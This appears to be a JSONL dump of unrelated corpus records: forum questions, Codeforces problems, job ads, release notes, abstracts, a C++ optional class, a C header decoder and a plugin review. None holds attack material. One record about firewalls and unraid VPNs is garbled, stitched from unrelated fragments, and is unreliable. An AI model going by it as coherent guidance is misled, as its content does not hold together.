{"text": "This group is locked. No changes can be made to the group while it is locked.\nDate 1 - 1 of 1\nTrack And Trace, failed on step 2: Navigate to the grid directory and run docker-compose #cal-invite\nNITCHEU MONKAM Junior\nI am new on hyperledger Domain. Now I am trying to set up the Track And Trace example from https://github.com/hyperledger/grid-contrib/tree/master/track_and_trace.\nOn the second step I have the error \"Service 'product-contract-builder' failed to build : Build failed\" when I execute the command \"docker-compose -f docker-compose.yaml -f ../grid-contrib/track_and_trace/docker-compose.yaml up --build\"\nPlease How Can I solve this issue?, Can someone help me please?\n|1 - 1 of 1|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Xenia the beginner mathematician is a third year student at elementary school. She is now learning the addition operation.\n\nThe teacher has written down the sum of multiple numbers. Pupils should calculate the sum. To make the calculation easier, the sum only contains numbers 1, 2 and 3. Still, that isn't enough for Xenia. She is only beginning to count, so she can calculate a sum only if the summands follow in non-decreasing order. For example, she can't calculate sum 1+3+2+1 but she can calculate sums 1+1+2 and 3+3.\n\nYou've got the sum that was written on the board. Rearrange the summans and print the sum in such a way that Xenia can calculate the sum.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Re: Activating vim color?\nOn -1502-Thu, Jun 26, 2003 at 01:36:49PM +0800, Miranda, Joel Louie M <email@example.com> spake thus,\n> Im using vi and I switch to vim, I was wondering what r the syntax to active\n> the color codes? Its just black n white. Im coding and I wasn hoping I can\n> activate the colors.\nYou'll want to get into vim and type-\nPut it in your ~/.vimrc and it'll come on each time. Also consider this-\nOr even just-\nIf all else fails, firstname.lastname@example.org is the user mailing list for vim, and there is also a large archive of tips and scripts on www.vim.org.\nGraphic Design // Web Design", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Get a quick review of the user flow of the app to see where you are heading.\n- [Voiceover] As we get started working on the stand-alone Task Book app, I think a review of the user flow is in order. Now that you have a firm understanding of the content model, data structures, and how tasks work on the back end of WordPress, the user flow of the stand-alone app will make a lot more sense, and most of what you see will map directly to what we've been working with up until this point. When a user first visits the Task Book app, they land on a Login page. This Login page, in turn, redirects them to WordPress for authentication, so there you'd log in just like you would any other WordPress site before you get redirected back to Task Book app, and here you land on the task list page.\nThe \"Task list\" page, or view, is the list of the 10 most recent tasks indexed by the current user. You remember in the previous chapter, we set up each task as a private task, so a user who logs in will only see their own tasks, and thanks to how we configured capabilities and how we configured the REST API, the user will in fact see all their tasks as an index. If the user has no tasks, or if they want to log a new task, they will click on \"New task\". This takes them to the \"New task\" view, and from here they fill out the same information that you would fill out on the WordPress back end.\nTask title, the task description, then the prediction field, and the pre-stress level field. When the user clicks on \"Create task\", they are redirected back to the \"Task list\", and now the new task will appear at the top of the list, because it's the most recent task. The new task will be marked \"In Progress\", because so far, we've only filled out the prediction and pre-stress level fields, not the outcome field. To update the task, the user can now click on the task card here. They'll be directed to the \"In progress task\" view, where they can see the task title, the description, the prediction, and the pre-stress levels, and then they have the ability to fill out the actual outcome field and select the post-stress level field.\nIf this is filled out and they click \"Update task\", they are taken to the \"Completed task\" view, which is just a breakdown of the entire task, and now none of the content is editable anymore. And when they go back to the \"Task list\", they'll now see the task marked as \"Completed\" instead, so this is that status field we were talking about previously. On top of all this, we also have the \"Review\" view. In this view, we take the pre- and post-stress levels from each of the tasks and display them on a graph, so you can see the difference between pre- and post-stress levels over time.\nMake sense? Alright, let's go.\n- Planning the application\n- Extending WordPress with a plugin\n- Setting up the standalone application\n- Configuring OAuth 2 in WordPress\n- Building the task list view\n- Building the new task view\n- Creating a new task via the REST API\n- Displaying conditional content\n- Visualizing data using Graph.js", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Jun 24, 2010 · A firewall is a protective system that lies, in essence, between your computer network and the Internet. When used correctly, a firewall prevents unauthorized use and access to your network. The job of a firewall is to carefully analyze data entering and exiting the network based on your configuration. It ignores information that comes from an ... 502. (a) It is the intent of the Legislature in enacting this section to expand the degree of protection afforded to individuals, businesses, and governmental agencies from tampering, interference, damage, and unauthorized access to lawfully created computer data and computer systems. The Legislature finds and declares that the proliferation of computer technology has resulted in a conco Stack Exchange network consists of 176 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn When I try using the browser to connect to my server, it times out and says it can not connect to that address.In unraid shares through openvpn to unraid openvpn - · GitHub Mullvad VPN -client · Privileged: On access using VPN. - on DNS from your tab · Click Add up open vpn on container · Name: vpn Community Re: Local storage Reverse Proxy NextCloud Server. Linux Unraid Server Route VM Isolation Host Network - Send a WoL to would like to use using VPN.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 278, "token_count_with_eod": 279, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "11/365/2018 Blog by rutty is licensed under CC BY-NC-SA I love taking photos and I also like to blog, so each photo I take for my 365 subsequently gets stuck up as a post on..\n10/1/2018 Darwin by rutty is licensed under CC BY-NC-SA This is the last of my Christmas beer, a present from my lovely Mum. She knows what makes me happy! The last time I got this..\nSteve Watson has some thoughts about where the Testing Community should be concentrating its efforts in 2018: It’s the 1st of January 2018, and at 3pm the rain and grey skies have cleared, and a..", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 159, "token_count_with_eod": 160, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "PointFire Translator version 220.127.116.11 is now available. Thank you to everyone who participated in the beta versions for the past year.\nThis is a major upgrade, which includes and requires a new version of the PointFire Translator app, also named version 18.104.22.168.\nIt makes it simple to translate Modern pages such as the ones in Communication and Teams sites and those produced by the Multilingual Page Publishing feature, as well as classic pages, documents, lists, and metadata. It has several interfaces, including via a SharePoint App, a web interface, scripting, and Power Automate.\nIf you were using version 1.2, the major change is that you do not need to install it on the workstation of the person carrying out the translation (although that is still supported), but it can be on a shared physical or virtual server. It runs under the identity of the person who called it via the app, it can also be called by Power Automate, and it supports the SharePoint Multilingual Page Publishing feature.\nIf you were using Beta 2, the major new feature is a PowerShell script to register the app and to create a Custom Connector for Power Automate\n- PointFire Power Translator is now called PointFire Translator Server. The app is now called PointFire Translator App.\n- Improved web interface, nicer and easier to use, separate scrollable areas for the results.\n- AppReg.ps1 script to automate Azure Application Registration\n- Creation of Custom Connector for Power Automate\n- Support for Power Automate via new http interface\n- Irish, Kazakh, European Portuguese and Brazilian Portuguese as separate languages\n- Māori, Marathi, Gujarati, Punjabi, Malayalam, Kannada, Assamese, Northern Kurdish, Central Kurdish, Dari, Pashto, Odia, French (Canada) non-SharePoint languages\n- Fixed 2 versions of Klingon: Klingon (Latin script) and Klingon (pIqaD script)\n- Supporting Multilingual Pages feature: when translating a page in a page library, or a set of pages that match a wildcard, overwrite the page if it is an untranslated copy\n- Supporting Multilingual Pages feature: translate original page title without the additional text for translators\n- Supporting Multilingual Pages feature: do not re-translate if the source item changes, unless the translated document is more recent than the current translation\n- Added changes to handle the documents parameter in translatedocument to include the folder structure.\n- Translate folder name in a wildcard pattern\n- \":o\" parameter in the language to overwrite a document with its translation\n- \":n\" parameter in the language to use original document file name with a suffix rather than translating the document file name.\n- If News webpart has Item Language filter, translate the filter condition\n- Licensing: check that the username is one of the allowed usernames whatever the method of authentication.\n- App feature: Select multiple documents or items\n- App feature: Select subset of target languages\n- Scripts to generate and install self-signed certificates for testing\n- Exclude some strings from translating, or specify the translation\n- Better handling of multiple exceptions in Parallel execution\n- Added functionality to translate Multilingual Translations list.\n- Single sign-on by obtaining access token, including configuration of Translator App\n- Support https\n- Can be hosted anywhere, not on localhost\n- locally stored credentials optional\n- locally stored credentials encrypted\n- Multiple licensees, API key applies to group of licensees\n- License key determines how many users can be licensed, whether domain wildcard is allowed\n- Improved security\n- Improved logging\n- Adjust Office registry setting to prevent popup dialogs\n- Improvements in MFA support\n- Improved support for 2019 and vanity domains\n- Retry after partial translation\n- Handle API throttling, other errors\n- Alternate API regional endpoints. Not extensively tested. Contact us for details.\nBug fixes and enhancements\nPointFire Translator can translate individual items or entire libraries or lists in SharePoint Online. It includes the PoinFire Translator App which will use PointFire Translator Server as a default translation service, and fall back to SharePoint's Machine Translation Service if PointFire Translator is not available.\nIt can be downloaded here (login required)\nMany thanks to the many testers who helped us get the product to this state.\nFor more information, contact firstname.lastname@example.org", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 918, "token_count_with_eod": 919, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In this talk we will present several new results regarding what invertible linear operators can do to frames. We will start by characterizing the operators which send a given frame to a frame with the same frame operator. This leads to a new definition of equivalence of frames. We then turn our attention to the following question: When can we find an invertible linear operator which sends some fixed frame to an equal norm frame. First we will characterize the frames for which such operators exist, then we proceed to characterize these operators. We will conclude by presenting a new characterization of Parseval frames.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 116, "token_count_with_eod": 117, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "BYTE/DEPT is looking for a Senior Lead Designer in New York, USA. Not an ordinary Senior Lead Designer but the kind of Senior Lead Designer that makes other Senior Lead Designers question their Senior Lead Designer-ness.\nDesigners at Byte/Dept® bring to life authentic ideas that capture the audiences’ attention. They work within many different formats and social platforms, leveraging the latest tech. They combine strategic thinking with design, illustration and motion to deliver innovative work.\nOur office in New York is looking for a Senior Lead Designer to help lead, art direct and oversee our Spotify client in addition to possibly supporting a few other accounts. The design team is made up of art directors, illustrators, animators (2D + 3D), and video editors, which means each designer brings something different to every project. This role helps manage and guide the entire team alongside their Senior Lead peers.\nA Senior Lead Designer represents BYTE/DEPT® New York by maintaining the highest quality of work while leading their team of creatives. They help more junior team members grow and achieve their goals by staying in touch with their ambitions and providing them with projects that are a healthy challenge. The Senior Lead Designer is a problem solver, delegator and always looking for ways to work smarter, not harder. As a team, the work you create should be thoughtful and set a high bar of excellence due to your collaborative efforts with each other.\nThe base compensation for this full-time position will be between $90,000 - $110,000. Salary will commensurate with the person's appropriate work experience.\nJob Post Linkhttps://workingnotworking.com/unjobboard/11478-byte-dept-senior-lead-designer\n2D, Adobe Illustrator, Art Direction, Content Strategy, Creative Direction, Design, Design Strategy, Motion, Project Management, Type Design\nMarch 29, 2022\n- Retirement Plan\n- Generous Vacation\n- Parental Leave\n- Relocation Package\n- Medical Benefits\n- Sick Office Supplies", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a rectangular matrix of size $$$n \\times m$$$ consisting of integers from $$$1$$$ to $$$2 \\cdot 10^5$$$.\n\nIn one move, you can:\n\n- choose any element of the matrix and change its value to any integer between $$$1$$$ and $$$n \\cdot m$$$, inclusive;\n- take any column and shift it one cell up cyclically (see the example of such cyclic shift below).\n\nA cyclic shift is an operation such that you choose some $$$j$$$ ($$$1 \\le j \\le m$$$) and set $$$a_{1, j} := a_{2, j}, a_{2, j} := a_{3, j}, \\dots, a_{n, j} := a_{1, j}$$$ simultaneously.\n\nExample of cyclic shift of the first column\n\nYou want to perform the minimum number of moves to make this matrix look like this:\n\nIn other words, the goal is to obtain the matrix, where $$$a_{1, 1} = 1, a_{1, 2} = 2, \\dots, a_{1, m} = m, a_{2, 1} = m + 1, a_{2, 2} = m + 2, \\dots, a_{n, m} = n \\cdot m$$$ (i.e. $$$a_{i, j} = (i - 1) \\cdot m + j$$$) with the minimum number of moves performed.", "source": "cpt_codeforces", "language": "en", "token_count": 317, "token_count_with_eod": 318, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Mauri Alligator Shoes Green Yellow Monk Strap Godfather 3051\nIf you love exotic and unique style crocodile shoes and boots, there is no reason not wear Mauri shoes and boots. Mauri makes all of their fine alligator shoes and boots in Italy for the man who wants unique style. These hunter green and ice color shoes are made of pure alligator and ostrich leg skin in a plaiin toe style that will certainly have people asking you questions. Hand made in Italy.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The electric polarization of a periodic solid can be expressed as a Berry phase, and computed from the occupied Bloch state overlap matrix between neighboring wavevectors on a grid sampling the Brillouin zone. The usual discretized expression for the electric polarization leads to slow convergence with respect to the number of wavevectors on the grid. In this work, we improve the integration scheme, and obtain a better accuracy without the need for a finer sampling. Our technique uses multi-step overlap matrices instead of only nearest-neighbor overlap matrices, and results in higher precision for almost no additional computation cost. We test the method on AlAs, confirm the theoretical convergence rate, and observe that medium-order multi-step formulas provide superior accuracy without fluctuation problems.\n- Berry phase\n- Density-functional theory", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is a little atrical from the BBC. It gives a fairly simple run down on reconising spam and it is farily basic but might give a starting poin t for some.\nFull BBC report.\nAnatomy of a spam e-mail\nA daily chore of modern life for many is the morning trawl through a full inbox deleting spam email. But just where does it all come from and why do spammers use bizarre text, names and images in their emails?\nTo the expert eye a typical spam is laden with clues to its origin. Click on the links below to find out more\n\"Iverson Vernie\": An implausible name that sounds human to computers if not people. This helps to offset the \"spamminess\" of the message. Plus it is in capital letters which also helps to bust the scoring systems often used to spot spam.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 175, "token_count_with_eod": 176, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Senior Java Engineer\nA leader in advertising, based in Sherman Oaks, is building their software development team and are looking to add a Senior Level Java Engineer to their small, tight knit team. Specifically, they are looking to add an expert Java master with experience in Spring, Hibernate, Restful Web Services, API, and MySQL. Experience with Big Data tools are a plus.\nThere are plenty of benefits to this opportunity. This opportunity is ground floor with a small company who will only be growing over the coming years, you will enjoy perks like full and comprehensive benefits, generous paid vacation, 401(k) with a matching, a relaxed and casual work environment and flexible scheduling, and a gym membership.\nRequired Skills & Experience\n- Minimum 8 years in Java software engineering\n- Big Data tools (Hadoop, MapReduce, Kafka)\n- Database experience (Oracle, MySQL, SQL Server)\n- Agile methodology\n- Continous integration\n- Unit Testing\nBenefits & Perks\n- Comprehensive benefit package including health, vision, and dental\n- 401k with a match\n- Generous PTO\n- Unlimited growth opportunity\n- Flexible schedule\n- Casual work environment\n- Startup culture!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#pragma once\n\n#include <concepts>\n#include <memory>\n\nstruct nullopt_t {};\ninline constexpr nullopt_t nullopt{};\n\nstruct in_place_t {};\ninline constexpr in_place_t in_place{};\n\nnamespace detail {\n\ntemplate <typename T, typename... Args>\nconcept Constructible = std::is_constructible_v<T, Args...>;\n\ntemplate <typename T>\nconcept TriviallyDestructible = std::is_trivially_destructible_v<T>;\n\ntemplate <typename T>\nconcept TriviallyCopyable = std::is_trivially_copyable_v<T>;\n\ntemplate <typename T>\nconcept CopyConstructible = std::is_copy_constructible_v<T>;\n\ntemplate <typename T>\nconcept MoveConstructible = std::is_move_constructible_v<T>;\n\ntemplate <typename T>\nconcept CopyAssignable = std::is_copy_assignable_v<T>;\n\ntemplate <typename T>\nconcept MoveAssignable = std::is_move_assignable_v<T>;\n\nstruct dummy_t {};\n\ntemplate <typename T, bool trivial>\nstruct destructor_optional_base {\n\n  bool active{false};\n  union {\n    dummy_t dummy;\n    T value;\n  };\n\n  constexpr destructor_optional_base() noexcept : dummy(dummy_t()) {}\n\n  template <typename... Args> requires Constructible<T, Args...>\n  constexpr destructor_optional_base(in_place_t, Args... args) noexcept(std::is_nothrow_constructible_v<T, Args...>)\n      : active{true}, value(std::forward<Args>(args)...) {}\n\n  constexpr destructor_optional_base(const T& value_) noexcept\n      : active{true}, value(value_) {}\n\n  constexpr destructor_optional_base(T&& value_) noexcept\n      : active{true}, value(std::move(value_)) {}\n\n  ~destructor_optional_base() noexcept(std::is_nothrow_destructible_v<T>) {\n    reset();\n  }\n\n  void reset() noexcept(std::is_nothrow_destructible_v<T>) {\n    if (active) {\n      value.~T();\n      active = false;\n    }\n  }\n};\n\ntemplate <typename T>\nstruct destructor_optional_base<T, true> {\n\n  bool active{false};\n  union {\n    detail::dummy_t dummy;\n    T value;\n  };\n\n  constexpr destructor_optional_base() noexcept : dummy(dummy_t()) {}\n\n  template <typename... Args> requires Constructible<T, Args...>\n  constexpr destructor_optional_base(in_place_t, Args... args) noexcept(std::is_nothrow_constructible_v<T, Args...>)\n      : active{true}, value(std::forward<Args>(args)...) {}\n\n  constexpr destructor_optional_base(const T& value_) noexcept\n      : active{true}, value(value_) {}\n\n  constexpr destructor_optional_base(T&& value_) noexcept\n      : active{true}, value(std::move(value_)) {}\n\n  ~destructor_optional_base() noexcept = default;\n\n  constexpr void reset() noexcept {\n    active = false;\n  }\n};\n\ntemplate <typename T>\nstruct copy_optional_base : destructor_optional_base<T, TriviallyDestructible<T>> {\n  using base = destructor_optional_base<T, TriviallyDestructible<T>>;\n  using base::base;\n\n  constexpr copy_optional_base() noexcept = default;\n\n  constexpr copy_optional_base(const copy_optional_base&) noexcept requires(TriviallyCopyable<T>) = default;\n  constexpr copy_optional_base(copy_optional_base&&) noexcept requires(TriviallyCopyable<T>) = default;\n  constexpr copy_optional_base& operator=(const copy_optional_base&) noexcept requires(TriviallyCopyable<T>) = default;\n  constexpr copy_optional_base& operator=(copy_optional_base&&) noexcept requires(TriviallyCopyable<T>) = default;\n\n  constexpr copy_optional_base(const copy_optional_base& other) noexcept(std::is_nothrow_copy_constructible_v<T>) requires(!TriviallyCopyable<T>) {\n    this->active = other.active;\n    if (other.active) {\n      new (&(this->value)) T(other.value);\n    }\n  }\n\n  constexpr copy_optional_base(copy_optional_base&& other) noexcept(std::is_nothrow_move_constructible_v<T>) requires(!TriviallyCopyable<T>) {\n    this->active = other.active;\n    if (other.active) {\n      new (&(this->value)) T(std::move(other.value));\n    }\n  }\n\n  constexpr copy_optional_base& operator=(const copy_optional_base& other) noexcept(std::is_nothrow_copy_assignable_v<T>) requires(!TriviallyCopyable<T>) {\n    if (this != &other) {\n      if (this->active) {\n        if (other.active) {\n          this->value = other.value;\n        } else {\n          this->reset();\n          this->dummy = dummy_t();\n        }\n      } else if (other.active) {\n        new (&(this->value)) T(other.value);\n      }\n      this->active = other.active;\n    }\n    return *this;\n  }\n\n  constexpr copy_optional_base& operator=(copy_optional_base&& other) noexcept(std::is_nothrow_move_assignable_v<T>) requires(!TriviallyCopyable<T>) {\n    if (this != &other) {\n      if (this->active) {\n        if (other.active) {\n          this->value = std::move(other.value);\n        } else {\n          this->reset();\n          this->dummy = dummy_t();\n        }\n      } else if (other.active) {\n        new (&(this->value)) T(std::move(other.value));\n      }\n      this->active = other.active;\n    }\n    return *this;\n  }\n};\n\n} // namespace detail\n\ntemplate <typename T>\nclass optional : detail::copy_optional_base<T> {\n  using base = detail::copy_optional_base<T>;\n  using base::base;\n\npublic:\n  constexpr optional() noexcept = default;\n  constexpr optional(const optional&) noexcept(std::is_nothrow_copy_constructible_v<T>) requires(detail::CopyConstructible<T>) = default;\n  constexpr optional(optional&&) noexcept(std::is_nothrow_move_constructible_v<T>) requires(detail::MoveConstructible<T>) = default;\n  constexpr optional& operator=(const optional&) noexcept(std::is_nothrow_copy_assignable_v<T>) requires(detail::CopyAssignable<T>) = default;\n  constexpr optional& operator=(optional&&) noexcept(std::is_nothrow_move_assignable_v<T>) requires(detail::MoveAssignable<T>) = default;\n  constexpr optional(nullopt_t) noexcept : optional() {};\n\n  constexpr optional& operator=(nullopt_t) noexcept {\n    reset();\n    return *this;\n  }\n\n  template <typename... Args> requires detail::Constructible<T, Args...>\n  constexpr void emplace(Args... args) noexcept(std::is_nothrow_constructible_v<T, Args...>) {\n    reset();\n    new (&(this->value)) T(std::forward<Args>(args)...);\n    this->active = true;\n  }\n\n  bool has_value() const noexcept {\n    return this->active;\n  }\n\n  constexpr T& operator*() noexcept {\n    return this->value;\n  }\n\n  constexpr T const& operator*() const noexcept {\n    return this->value;\n  }\n\n  constexpr T const* operator->() const noexcept {\n    return &this->value;\n  }\n\n  constexpr T* operator->() noexcept {\n    return &this->value;\n  }\n\n  constexpr explicit operator bool() const noexcept {\n    return this->active;\n  }\n\n  constexpr void reset() noexcept {\n    base::reset();\n  }\n\n  friend constexpr bool operator==(const optional<T>& lhs, const optional<T>& rhs) {\n    if (bool(lhs) != bool(rhs)) {\n      return false;\n    }\n    if (!lhs) {\n      return true;\n    }\n    return lhs.value == rhs.value;\n  }\n\n  friend constexpr bool operator!=(const optional<T>& lhs, const optional<T>& rhs) {\n    return !(lhs == rhs);\n  }\n\n  friend constexpr bool operator<(const optional<T>& lhs, const optional<T>& rhs) {\n    if (!rhs) {\n      return false;\n    }\n    if (!lhs) {\n      return true;\n    }\n    return lhs.value < rhs.value;\n  }\n\n  friend constexpr bool operator<=(const optional<T>& lhs, const optional<T>& rhs) {\n    return lhs < rhs || lhs == rhs;\n  }\n\n  friend constexpr bool operator>(const optional<T>& lhs, const optional<T>& rhs) {\n    return !(lhs <= rhs);\n  }\n\n  friend constexpr bool operator>=(const optional<T>& lhs, const optional<T>& rhs) {\n    return !(lhs < rhs);\n  }\n};", "source": "cpt_stack_code", "language": "code", "token_count": 1957, "token_count_with_eod": 1958, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You want to perform the combo on your opponent in one popular fighting game. The combo is the string $$$s$$$ consisting of $$$n$$$ lowercase Latin letters. To perform the combo, you have to press all buttons in the order they appear in $$$s$$$. I.e. if $$$s=$$$\"abca\" then you have to press 'a', then 'b', 'c' and 'a' again.\n\nYou know that you will spend $$$m$$$ wrong tries to perform the combo and during the $$$i$$$-th try you will make a mistake right after $$$p_i$$$-th button ($$$1 \\le p_i < n$$$) (i.e. you will press first $$$p_i$$$ buttons right and start performing the combo from the beginning). It is guaranteed that during the $$$m+1$$$-th try you press all buttons right and finally perform the combo.\n\nI.e. if $$$s=$$$\"abca\", $$$m=2$$$ and $$$p = [1, 3]$$$ then the sequence of pressed buttons will be 'a' (here you're making a mistake and start performing the combo from the beginning), 'a', 'b', 'c', (here you're making a mistake and start performing the combo from the beginning), 'a' (note that at this point you will not perform the combo because of the mistake), 'b', 'c', 'a'.\n\nYour task is to calculate for each button (letter) the number of times you'll press it.\n\nYou have to answer $$$t$$$ independent test cases.", "source": "cpt_codeforces", "language": "en", "token_count": 327, "token_count_with_eod": 328, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#include \"geminc.h\"\n#include \"gemprm.h\"\n\nvoid utf_dvctr ( int shift_x, int shift_y, unsigned char *ptr, int *zd,\n\t\t int *zt, int *zf, int *ipnt, int *jpnt, int *len,\n\t\t int *add, int *iret )\n/************************************************************************\n * utf_dvctr\t\t\t\t\t\t\t\t*\n *\t\t\t\t\t\t\t\t\t*\n * This function decodes the relative vector (C3) header in a UTF file.\t*\n *\t\t\t\t\t\t\t\t\t*\n * utf_dvctr ( shift_x, shift_y, ptr, zd, zt, zf, ipnt, jpnt, len, add,\t*\n *\t       iret )\t\t\t\t\t\t\t*\n *\t\t\t\t\t\t\t\t\t*\n * Input parameters:\t\t\t\t\t\t\t*\n *\tshift_x\t\tint\t\tX shift factor\t\t\t*\n *\tshift_y\t\tint\t\tY shift factor\t\t\t*\n *\t*ptr\t\tunsigned char\tPosition in buffer\t\t*\n *\t\t\t\t\t\t\t\t\t*\n * Output parameters:\t\t\t\t\t\t\t*\n *\t*zd\t\tint\t\tZoom disable\t\t\t*\n *\t*zt\t\tint\t\tZoom threshold\t\t\t*\n *\t*zf\t\tint\t\tZoom factor\t\t\t*\n *\t*ipnt\t\tint\t\tI coordinate\t\t\t*\n *\t*jpnt\t\tint\t\tJ coordinate\t\t\t*\n *\t*len\t\tint\t\tNumber of words in this record\t*\n *\t*add\t\tint\t\tTotal # of bytes in this record\t*\n *\t*iret\t\tint\t\tReturn code\t\t\t*\n *\t\t\t\t\t\t\t\t\t*\n **\t\t\t\t\t\t\t\t\t*\n * Log:\t\t\t\t\t\t\t\t\t*\n * D. Keiser/GSC\t12/96\t\t\t\t\t\t*\n * M. Linda/GSC\t\t10/97\tCorrected the prologue format\t\t*\n ***********************************************************************/\n{\n/*---------------------------------------------------------------------*/\n    *iret = 0;\n    ptr += 1;\n\n/*\n**  Decode zoom disable (bit 10 in the first word).\n*/\n    *zd = (*ptr >> 5) & 0x01;\n\n/*\n**  Decode zoom threshold (bit 11-12 in the first word).\n*/\n    *zt = (*ptr >> 3) & 0x03;\n\n/*\n**  Decode zoom factor (bit 13-15 in the first word).\n*/\n    if  ( ( ( *ptr & 0x20 ) != 32 ) || ( shift_x ) )\n\t*zf =  1;\n    else\n\t*zf =  (((*ptr & 0x07) + 1) + 1) * (((*ptr & 0x07) + 1) + 1);\n    ptr += 1;\n\n/*\n**  Decode I coordinate.\n*/\n    *ipnt = ((*ptr << 8) + *(ptr + 1)) << shift_x;\n    ptr += 2;\n\n/*\n**  Decode J coordinate.\n*/\n    *jpnt = ((*ptr << 8) + *(ptr + 1)) << shift_y;\n    ptr += 2;\n\n/*\n**  Decode length of record (# of words).\n*/\n    *len = (*ptr << 8) + *(ptr + 1);\n    *add = *len * 2 + 8;\n\n    ptr += 2;\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 758, "token_count_with_eod": 759, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Yesterday, Happy Prime owner and engineer Jeremy Felt released Shortnotes, a plugin for writing notes from the WordPress editor. The intention is for users to create short pieces of content, such as that found on Twitter, Instagram, and similar social networks. However, it does not come with a front-end posting interface, at least not in version 1.0.\nThe plugin works just like the post and page editor. It should be straightforward for most users.\nWhile the Shortnotes plugin is relatively bare-bones for now, it serves as a foundation of something that could be more. Part of what makes social networks appealing is the ease of publishing quick content. Publishing notes through the plugin requires visiting the WordPress admin, clicking “Add New,” writing the content, publishing, and clicking a new link to view it on the front end. A quick-publishing interface either through a Dashboard widget or a front-end form would be a useful addition.\nNote post type in the block editor.\nSome new concepts that not all users may be familiar with are the “Reply to URL” and “Reply to name” fields. These are semantic fields for creating a note in reply to another post or person on the web. The plugin will automatically output this reply link on the front end.\nThe plugin integrates with the Webmention plugin. A Webmention is a standardized protocol for mentions and conversations across the web. The goal is a decentralized social “network” of sorts where everyone owns and controls their content. It is an alternative to what IndieWeb calls the “corporate” web in which large tech companies have control.\nWhen entering a Reply to URL, Shortnotes will automatically send that URL through the Webmentions plugin system. It will also parse URLs in the post content as webmentions if they exist.\nUsers may also notice that the note title field is missing. This is intentional. The plugin automatically generates titles. They are needed for the\nThe idea is for titles to not appear as part of the theme layout. Because most themes are not coded to check for post-type support before displaying them, there is a high chance that a user’s theme will output the auto-generated title on the front end. For now, that means editing a bit of theme code for those who do not want them to appear. Felt has an example of how he modified this for his site’s custom Twenty Twenty-One child theme. In the long run, as more themes begin supporting the upcoming site editor, users will be able to make this customization directly in the WordPress admin.\nWith a few tweaks like removing the title and some minor CSS adjustments, I was able to create a clean Notes archive page using the Genesis Block theme:\nModified notes archive.\nOne of my interests in checking this project out was diving into a real-world example of a plugin that limited which blocks could be used with the editor. The notes post type only allows the Paragraph, Image, and Gallery blocks. Again, the idea is to replicate the feel of what you can do on social networks. Overall, this feature worked as it should, limiting the notes to a subset of blocks.\nHowever, I ran across a bug with the block editor. All block patterns, regardless of what blocks they contained, appeared in the inserter. Clicking on one containing a disallowed block would not insert it into a post. However, the editor did add a pop-up note that it had. There is a GitHub issue for this bug that has seen little movement since it was opened in June 2020.\nFelt created a plugin to solve this called Unregister Broken Patterns. It removes any patterns that contain blocks that a post type does not support. At best, it is a temporary measure and needs to be addressed in WordPress.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 765, "token_count_with_eod": 766, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi everyone! I have recently applied for a role at JPM. I checked my job status yesterday and it says submission status'withrew'. The thing is that I never withdrew my application as I am really interested in the role. Could that be a mistake or I was just rejected. I guess if I was rejected I would probably have a 'rejected' status!? Does anyone know what that means? Thanks in advance!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 85, "token_count_with_eod": 86, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sun-EaterBack to Beasts Main > Sun-Eater\nReal Identity: Sun-Eater\nPowers/Skills: Solar Ingestion, Flight, and Survival in Space\nVoiced By: Not Applicable\nThe Sun-Eaters were originally conceived as weapon of mass destruction by a race of beings known as the Controllers. It acted as an artifical black hole and compressed a star to a point it went supernova. The resulting release in thermal energy would empower the Sun-Eater further. With these weapons, the Controllers could greater exact their pro-active agenda to stop evil across the universe. There are some Sun-Eaters that develop into a sentient lifeform. Like wild animals, they possess instinctual navigation and migratory patterns.\nSuperman once found an infant Sun-Eater lost and wandering in orbit near Jupiter. He took it with him to his Fortress of Solitude's intergalactic zoo and cared for it ever since. Superman grew rather attached to it, and vice-versa, like a pet and fed it miniature suns created with the Cosmic Anvil. The Sun-Eater lived in a special gravity pen that required cleaning from time to time. Superman hoped to one day release it back onto its species' migration routes out past the Oort Cloud. During the battle with Solaris, the Sun-Eater appeared and attacked the Tyrant Sun. However, Solaris killed the Sun-Eater.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 285, "token_count_with_eod": 286, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
